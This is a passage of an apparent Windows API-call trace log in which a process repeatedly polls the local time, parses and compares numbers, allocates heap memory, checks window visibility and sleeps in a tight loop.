pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.775] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.775] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.776] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.776] GetCurrentProcessId () returned 0x9e0 [0189.776] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.776] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.776] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.776] GetTickCount () returned 0x115f95d [0189.776] GetTickCount () returned 0x115f95d [0189.776] GetTickCount () returned 0x115f95d [0189.776] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.776] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.776] GetTickCount () returned 0x115f95d [0189.776] IsWindowVisible (hWnd=0x30268) returned 0 [0189.776] IsWindowVisible (hWnd=0x40298) returned 0 [0189.777] IsWindowVisible (hWnd=0x60106) returned 0 [0189.777] Sleep (dwMilliseconds=0x0) [0189.799] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x2f1)) [0189.799] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.799] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.799] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.799] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.799] GetCurrentProcessId () returned 0x9e0 [0189.799] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.799] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.800] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.800] GetTickCount () returned 0x115f97c [0189.800] GetTickCount () returned 0x115f97c [0189.800] GetTickCount () returned 0x115f97c [0189.800] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.800] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.800] GetTickCount () returned 0x115f97c [0189.800] IsWindowVisible (hWnd=0x30268) returned 0 [0189.800] IsWindowVisible (hWnd=0x40298) returned 0 [0189.800] IsWindowVisible (hWnd=0x60106) returned 0 [0189.800] Sleep (dwMilliseconds=0x0) [0189.833] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x310)) [0189.833] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.833] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.833] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.834] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.834] GetCurrentProcessId () returned 0x9e0 [0189.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.834] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.834] GetTickCount () returned 0x115f99b [0189.834] GetTickCount () returned 0x115f99b [0189.834] GetTickCount () returned 0x115f99b [0189.834] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.834] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.834] GetTickCount () returned 0x115f99b [0189.834] IsWindowVisible (hWnd=0x30268) returned 0 [0189.834] IsWindowVisible (hWnd=0x40298) returned 0 [0189.834] IsWindowVisible (hWnd=0x60106) returned 0 [0189.834] Sleep (dwMilliseconds=0x0) [0189.847] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x31f)) [0189.848] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.848] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.848] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.848] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.848] GetCurrentProcessId () returned 0x9e0 [0189.848] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.848] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.848] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.848] GetTickCount () returned 0x115f9ab [0189.848] GetTickCount () returned 0x115f9ab [0189.849] GetTickCount () returned 0x115f9ab [0189.849] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.849] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.849] GetTickCount () returned 0x115f9ab [0189.849] IsWindowVisible (hWnd=0x30268) returned 0 [0189.849] IsWindowVisible (hWnd=0x40298) returned 0 [0189.849] IsWindowVisible (hWnd=0x60106) returned 0 [0189.849] Sleep (dwMilliseconds=0x0) [0189.864] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x32f)) [0189.864] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.865] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.865] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.865] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.865] GetCurrentProcessId () returned 0x9e0 [0189.865] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.865] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.865] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.865] GetTickCount () returned 0x115f9ba [0189.865] GetTickCount () returned 0x115f9ba [0189.865] GetTickCount () returned 0x115f9ba [0189.865] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.865] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.865] GetTickCount () returned 0x115f9ba [0189.865] IsWindowVisible (hWnd=0x30268) returned 0 [0189.865] IsWindowVisible (hWnd=0x40298) returned 0 [0189.865] IsWindowVisible (hWnd=0x60106) returned 0 [0189.866] Sleep (dwMilliseconds=0x0) [0189.874] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x32f)) [0189.887] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.887] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.887] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.887] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.887] GetCurrentProcessId () returned 0x9e0 [0189.887] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.888] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.888] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.888] GetTickCount () returned 0x115f9ca [0189.888] GetTickCount () returned 0x115f9ca [0189.888] GetTickCount () returned 0x115f9ca [0189.891] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.891] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.891] GetTickCount () returned 0x115f9ca [0189.891] IsWindowVisible (hWnd=0x30268) returned 0 [0189.891] IsWindowVisible (hWnd=0x40298) returned 0 [0189.891] IsWindowVisible (hWnd=0x60106) returned 0 [0189.892] Sleep (dwMilliseconds=0x0) [0189.894] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x34e)) [0189.895] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.895] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.895] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.895] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.895] GetCurrentProcessId () returned 0x9e0 [0189.895] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.895] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.895] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.895] GetTickCount () returned 0x115f9da [0189.895] GetTickCount () returned 0x115f9da [0189.896] GetTickCount () returned 0x115f9da [0189.896] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.896] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.896] GetTickCount () returned 0x115f9da [0189.896] IsWindowVisible (hWnd=0x30268) returned 0 [0189.896] IsWindowVisible (hWnd=0x40298) returned 0 [0189.896] IsWindowVisible (hWnd=0x60106) returned 0 [0189.896] Sleep (dwMilliseconds=0x0) [0189.902] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x34e)) [0189.902] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.902] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.903] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.903] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.903] GetCurrentProcessId () returned 0x9e0 [0189.903] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.903] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.903] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.903] GetTickCount () returned 0x115f9da [0189.903] GetTickCount () returned 0x115f9da [0189.903] GetTickCount () returned 0x115f9da [0189.903] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.903] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.903] GetTickCount () returned 0x115f9da [0189.903] IsWindowVisible (hWnd=0x30268) returned 0 [0189.903] IsWindowVisible (hWnd=0x40298) returned 0 [0189.903] IsWindowVisible (hWnd=0x60106) returned 0 [0189.904] Sleep (dwMilliseconds=0x0) [0189.905] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x34e)) [0189.905] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.905] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.905] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.905] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.906] GetCurrentProcessId () returned 0x9e0 [0189.906] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.906] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.906] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.906] GetTickCount () returned 0x115f9da [0189.906] GetTickCount () returned 0x115f9da [0189.906] GetTickCount () returned 0x115f9da [0189.906] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.906] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.906] GetTickCount () returned 0x115f9da [0189.906] IsWindowVisible (hWnd=0x30268) returned 0 [0189.906] IsWindowVisible (hWnd=0x40298) returned 0 [0189.906] IsWindowVisible (hWnd=0x60106) returned 0 [0189.906] Sleep (dwMilliseconds=0x0) [0189.910] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x35e)) [0189.911] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.911] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.911] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.911] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.911] GetCurrentProcessId () returned 0x9e0 [0189.911] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.911] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.911] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.911] GetTickCount () returned 0x115f9e9 [0189.911] GetTickCount () returned 0x115f9e9 [0189.911] GetTickCount () returned 0x115f9e9 [0189.911] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.911] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.911] GetTickCount () returned 0x115f9e9 [0189.911] IsWindowVisible (hWnd=0x30268) returned 0 [0189.912] IsWindowVisible (hWnd=0x40298) returned 0 [0189.912] IsWindowVisible (hWnd=0x60106) returned 0 [0189.912] Sleep (dwMilliseconds=0x0) [0189.913] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x35e)) [0189.913] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.913] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.913] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.913] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.913] GetCurrentProcessId () returned 0x9e0 [0189.913] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.913] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.913] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.913] GetTickCount () returned 0x115f9e9 [0189.914] GetTickCount () returned 0x115f9e9 [0189.914] GetTickCount () returned 0x115f9e9 [0189.914] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.914] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.914] GetTickCount () returned 0x115f9e9 [0189.914] IsWindowVisible (hWnd=0x30268) returned 0 [0189.914] IsWindowVisible (hWnd=0x40298) returned 0 [0189.914] IsWindowVisible (hWnd=0x60106) returned 0 [0189.914] Sleep (dwMilliseconds=0x0) [0189.914] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x35e)) [0189.915] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.915] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.915] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.915] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.915] GetCurrentProcessId () returned 0x9e0 [0189.915] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.915] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.915] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.915] GetTickCount () returned 0x115f9e9 [0189.915] GetTickCount () returned 0x115f9e9 [0189.915] GetTickCount () returned 0x115f9e9 [0189.915] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.916] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.916] GetTickCount () returned 0x115f9e9 [0189.916] IsWindowVisible (hWnd=0x30268) returned 0 [0189.916] IsWindowVisible (hWnd=0x40298) returned 0 [0189.916] IsWindowVisible (hWnd=0x60106) returned 0 [0189.916] Sleep (dwMilliseconds=0x0) [0189.916] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x35e)) [0189.917] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.917] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.917] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.917] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.917] GetCurrentProcessId () returned 0x9e0 [0189.917] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.917] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.917] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.917] GetTickCount () returned 0x115f9e9 [0189.917] GetTickCount () returned 0x115f9e9 [0189.917] GetTickCount () returned 0x115f9e9 [0189.917] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.917] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.917] GetTickCount () returned 0x115f9e9 [0189.918] IsWindowVisible (hWnd=0x30268) returned 0 [0189.918] IsWindowVisible (hWnd=0x40298) returned 0 [0189.918] IsWindowVisible (hWnd=0x60106) returned 0 [0189.918] Sleep (dwMilliseconds=0x0) [0189.919] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x35e)) [0189.919] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.919] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.919] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.919] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.919] GetCurrentProcessId () returned 0x9e0 [0189.919] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.919] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.919] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.919] GetTickCount () returned 0x115f9e9 [0189.919] GetTickCount () returned 0x115f9e9 [0189.920] GetTickCount () returned 0x115f9e9 [0189.920] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.920] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.920] GetTickCount () returned 0x115f9e9 [0189.920] IsWindowVisible (hWnd=0x30268) returned 0 [0189.920] IsWindowVisible (hWnd=0x40298) returned 0 [0189.920] IsWindowVisible (hWnd=0x60106) returned 0 [0189.920] Sleep (dwMilliseconds=0x0) [0189.921] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x35e)) [0189.921] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.921] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.921] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.921] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.921] GetCurrentProcessId () returned 0x9e0 [0189.921] RtlAllocateHeap (HeapHandle=0x3820000, 